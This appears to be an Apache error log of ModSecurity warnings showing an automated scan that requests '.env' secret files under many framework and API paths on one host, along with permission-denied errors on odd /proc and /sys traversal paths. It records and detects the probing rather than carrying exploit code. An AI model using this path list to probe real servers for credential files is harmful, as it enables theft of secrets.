[Fri Jul 17 09:14:41.473028 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlKYe39YUk0SgV8AU9UQAAABE"]
[Fri Jul 17 09:14:41.643061 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /zend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/zend/.env"] [unique_id "almlKbEKozcCJ-ReuK0F_wAAAAg"]
[Fri Jul 17 09:14:41.644356 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/zend/.env"] [unique_id "almlKbEKozcCJ-ReuK0F_wAAAAg"]
[Fri Jul 17 09:14:41.876800 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlKbEKozcCJ-ReuK0F_wAAAAg"]
[Fri Jul 17 09:14:42.044854 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /yii/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/yii/.env"] [unique_id "almlKoe39YUk0SgV8AU9UgAAABE"]
[Fri Jul 17 09:14:42.046764 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/yii/.env"] [unique_id "almlKoe39YUk0SgV8AU9UgAAABE"]
[Fri Jul 17 09:14:42.204877 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:42.250763 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlKoe39YUk0SgV8AU9UgAAABE"]
[Fri Jul 17 09:14:42.420357 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel5/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/laravel5/.env"] [unique_id "almlKol9vhFBGA6D8l99PQAAAAw"]
[Fri Jul 17 09:14:42.424165 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/laravel5/.env"] [unique_id "almlKol9vhFBGA6D8l99PQAAAAw"]
[Fri Jul 17 09:14:42.648318 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlKol9vhFBGA6D8l99PQAAAAw"]
[Fri Jul 17 09:14:42.795441 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:37322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:43.029690 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/v1/.env"] [unique_id "almlK1h1WDijTxd1xw5PiQAAAAc"]
[Fri Jul 17 09:14:43.030909 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/v1/.env"] [unique_id "almlK1h1WDijTxd1xw5PiQAAAAc"]
[Fri Jul 17 09:14:43.119726 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:43.172802 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:43.223901 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:7/subsystem/ttyS1/irq
[Fri Jul 17 09:14:43.242388 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlK1h1WDijTxd1xw5PiQAAAAc"]
[Fri Jul 17 09:14:43.410275 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/v2/.env"] [unique_id "almlK7EWOaI5pmYo9fnR7QAAAAA"]
[Fri Jul 17 09:14:43.411414 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/v2/.env"] [unique_id "almlK7EWOaI5pmYo9fnR7QAAAAA"]
[Fri Jul 17 09:14:43.582249 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlK7EWOaI5pmYo9fnR7QAAAAA"]
[Fri Jul 17 09:14:43.795906 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/v3/.env"] [unique_id "almlK4e39YUk0SgV8AU9VAAAABE"]
[Fri Jul 17 09:14:43.797164 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/v3/.env"] [unique_id "almlK4e39YUk0SgV8AU9VAAAABE"]
[Fri Jul 17 09:14:43.969361 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlK4e39YUk0SgV8AU9VAAAABE"]
[Fri Jul 17 09:14:44.281785 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/v1/.env"] [unique_id "almlLARRrtuZqNDDSqWzUAAAABo"]
[Fri Jul 17 09:14:44.283272 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/v1/.env"] [unique_id "almlLARRrtuZqNDDSqWzUAAAABo"]
[Fri Jul 17 09:14:44.462499 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlLARRrtuZqNDDSqWzUAAAABo"]
[Fri Jul 17 09:14:44.665191 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:37498] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:44.668081 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/v2/.env"] [unique_id "almlLF1_86A5R6msWNfXigAAABI"]
[Fri Jul 17 09:14:44.669302 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/v2/.env"] [unique_id "almlLF1_86A5R6msWNfXigAAABI"]
[Fri Jul 17 09:14:44.676871 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.23:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory77/subsystem/devices/memory114/subsystem/devices/memory97/subsystem/drivers_probe
[Fri Jul 17 09:14:44.859599 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:44.870448 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:44.872407 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlLF1_86A5R6msWNfXigAAABI"]
[Fri Jul 17 09:14:45.040751 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/rest/.env"] [unique_id "almlLYe39YUk0SgV8AU9VgAAABE"]
[Fri Jul 17 09:14:45.041978 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/rest/.env"] [unique_id "almlLYe39YUk0SgV8AU9VgAAABE"]
[Fri Jul 17 09:14:45.280249 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlLYe39YUk0SgV8AU9VgAAABE"]
[Fri Jul 17 09:14:45.434671 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:45.447628 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /graphql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/graphql/.env"] [unique_id "almlLV1_86A5R6msWNfXiwAAABI"]
[Fri Jul 17 09:14:45.448857 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/graphql/.env"] [unique_id "almlLV1_86A5R6msWNfXiwAAABI"]
[Fri Jul 17 09:14:45.508643 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 187.3.144.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:14:45.642652 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlLV1_86A5R6msWNfXiwAAABI"]
[Fri Jul 17 09:14:45.657080 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:45.811712 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gateway/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/gateway/.env"] [unique_id "almlLbEWOaI5pmYo9fnR8QAAAAA"]
[Fri Jul 17 09:14:45.812930 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/gateway/.env"] [unique_id "almlLbEWOaI5pmYo9fnR8QAAAAA"]
[Fri Jul 17 09:14:46.146434 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlLbEWOaI5pmYo9fnR8QAAAAA"]
[Fri Jul 17 09:14:46.527523 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.122:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory36/node0/memory11/node0/memory137/node0/compact
[Fri Jul 17 09:14:46.680928 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /microservice/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/microservice/.env"] [unique_id "almlLrEWOaI5pmYo9fnR8gAAAAA"]
[Fri Jul 17 09:14:46.682947 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/microservice/.env"] [unique_id "almlLrEWOaI5pmYo9fnR8gAAAAA"]
